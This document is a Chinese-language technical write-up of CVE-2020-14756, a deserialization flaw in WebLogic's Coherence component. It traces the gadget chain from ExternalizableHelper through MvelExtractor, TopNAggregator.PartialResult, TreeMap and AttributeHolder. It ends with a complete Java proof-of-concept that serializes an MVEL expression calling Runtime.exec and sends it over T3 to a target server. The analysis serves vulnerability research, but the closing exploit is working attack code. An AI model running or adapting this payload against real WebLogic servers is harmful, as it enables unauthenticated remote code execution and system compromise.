Weblogc CVE-2020-14756

CVE-2020-14756

漏洞分析

在coherence.jar中有这么个接口ExternalizableLite,继承了serializable类。

image-20221014235331362

ExternalizableHelper类中,有readObjectInternal方法,在这个switch中,nType为10的时候会调用一个readExternalizableLite方法,他可以反序列化一个实现了ExternalizableLite接口的类

image-20221015000554014

这里的ntype在这个类的writeObject方法里可以看见是怎么写入的。image-20221015001345337

主要是调用了getStreamFormat方法

public static int getStreamFormat(Object o) {
    return o == null ? 0 : (o instanceof String ? 6 : (o instanceof Number ? (o instanceof Integer ? 1 : (o instanceof Long ? 2 : (o instanceof Double ? 3 : (o instanceof BigInteger ? 4 : (o instanceof BigDecimal ? 5 : (o instanceof Float ? 14 : (o instanceof Short ? 15 : (o instanceof Byte ? 16 : 11)))))))) : (o instanceof byte[] ? 8 : (o instanceof ReadBuffer ? 7 : (o instanceof XmlBean ? 12 : (o instanceof IntDecoratedObject ? 13 : (o instanceof ExternalizableLite ? 10 : (o instanceof Boolean ? 17 : (o instanceof Serializable ? 11 : (o instanceof Optional ? 22 : (o instanceof OptionalInt ? 23 : (o instanceof OptionalLong ? 24 : (o instanceof OptionalDouble ? 25 : (o instanceof XmlSerializable ? 9 : 255))))))))))))));
}

只要序列化的类是ExternalizableLite类或者是他的子类,ntype就是10,继续来看readExternalizableLite方法,这里实例化了一个ExternalizableLite类,然后调用了readExternal方法

image-20221015001736520

这里的话我们就需要找到一个ExternalizableLite类的子类,然后他会去调用这个类的readExternal方法,这里找到了com.tangosol.coherence.rest.util.extractor.MvelExtractor这个类,他的构造方法如下

image-20221015003114156

再来看看他的readExternal方法,先读入了一个int类型,然后读取了m_sExpr,这里的m_sExpr可控

public void readExternal(DataInput in) throws IOException {
    this.m_nTarget = in.readInt();
    this.m_sExpr = ExternalizableHelper.readSafeUTF(in);
}

所以接下来我们只需要找到能触发extract方法的地方即可

public Object extract(Object oTarget) {
    return oTarget == null ? null : MVEL.executeExpression(this.getCompiledExpression(), oTarget);
}

对于触发extract方法,我们找到了com.tangosol.util.aggregator.TopNAggregator.PartialResult类,他是TopNAggregator类的一个内部类,来到他的readExternal方法

public void readExternal(DataInput in) throws IOException {
    this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
    this.m_cMaxSize = ExternalizableHelper.readInt(in);
    this.m_map = this.instantiateInternalMap(this.m_comparator);
    int cElems = in.readInt();

    for(int i = 0; i < cElems; ++i) {
        this.add(ExternalizableHelper.readObject(in));
    }

    this.m_comparator_copy = this.m_comparator;
}

还原m_comparator参数并且调用了instantiateInternalMap方法

protected NavigableMap instantiateInternalMap(Comparator comparator) {
    return new TreeMap(new WrapperComparator(comparator));
}

新建了一个comparator的包装类然后传入到TreeMap当中,并且在for循环中调用add方法,传入的参数是ExternalizableHelper.readObject(in)的结果,先看add方法,如果size()小于最大长度,调用父类的add方法

public boolean add(E value) {
    if (this.size() < this.m_cMaxSize) {
        return super.add(value);
    } else if (this.m_comparator.compare(value, this.first()) > 0) {
        this.removeFirst();
        super.add(value);
        return true;
    } else {
        return false;
    }
}

来看父类的add方法

public boolean add(E o) {
    NavigableMap map = this.getInternalMap();

    while(!Base.equals(o, this.unwrap(map.ceilingKey(o)))) {
        if (map.put(o, NO_VALUE) == null) {
            return true;
        }
    }

    map.put(this.wrap(o), NO_VALUE);
    return true;
}

调用了getInternalMap获取了一个map,然后调用map.put方法把传进来的o放到map里,这里由于map是TreeMap,所以找到TreeMap的put方法

image-20221015010011097

然后调用compare方法

final int compare(Object k1, Object k2) {
    return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)
        : comparator.compare((K)k1, (K)k2);
}

这里的comparator是MvelExtractor类,MvelExtractor类继承了AbstractExtractor抽象类,该抽象类的compare方法调用了extract方法

public int compare(Object o1, Object o2) {
    return SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2));
}

但是com.tangosol.util.aggregator.TopNAggregator.PartialResult类并没有实现ExternalizableLite接口,所以还需要找一个实现ExternalizableLite接口的类,并能调用ExternalizableHelper.readObject方法。找到com.tangosol.coherence.servlet.AttributeHolder#readExternal(java.io.DataInput)

image-20221015161310499

POC

这里直接用Y4er师傅的poc了

package com.supeream;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
// coherence-rest.jar
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
// coherence-web.jar
import com.tangosol.coherence.servlet.AttributeHolder;
// coherence.jar
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class CVE_2020_14756 {
    public static void main(String[] args) {
        MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");");
        MvelExtractor extractor2 = new MvelExtractor("");
        try {
            SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);
            AttributeHolder attributeHolder = new AttributeHolder();
            sortedBag.add(1);
            Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
            m_comparator.setAccessible(true);
            m_comparator.set(sortedBag, extractor);
            Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
            setInternalValue.setAccessible(true);
            setInternalValue.invoke(attributeHolder, sortedBag);
            T3ProtocolOperation.send("192.168.65.128", "7001", Serializables.serialize(attributeHolder));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}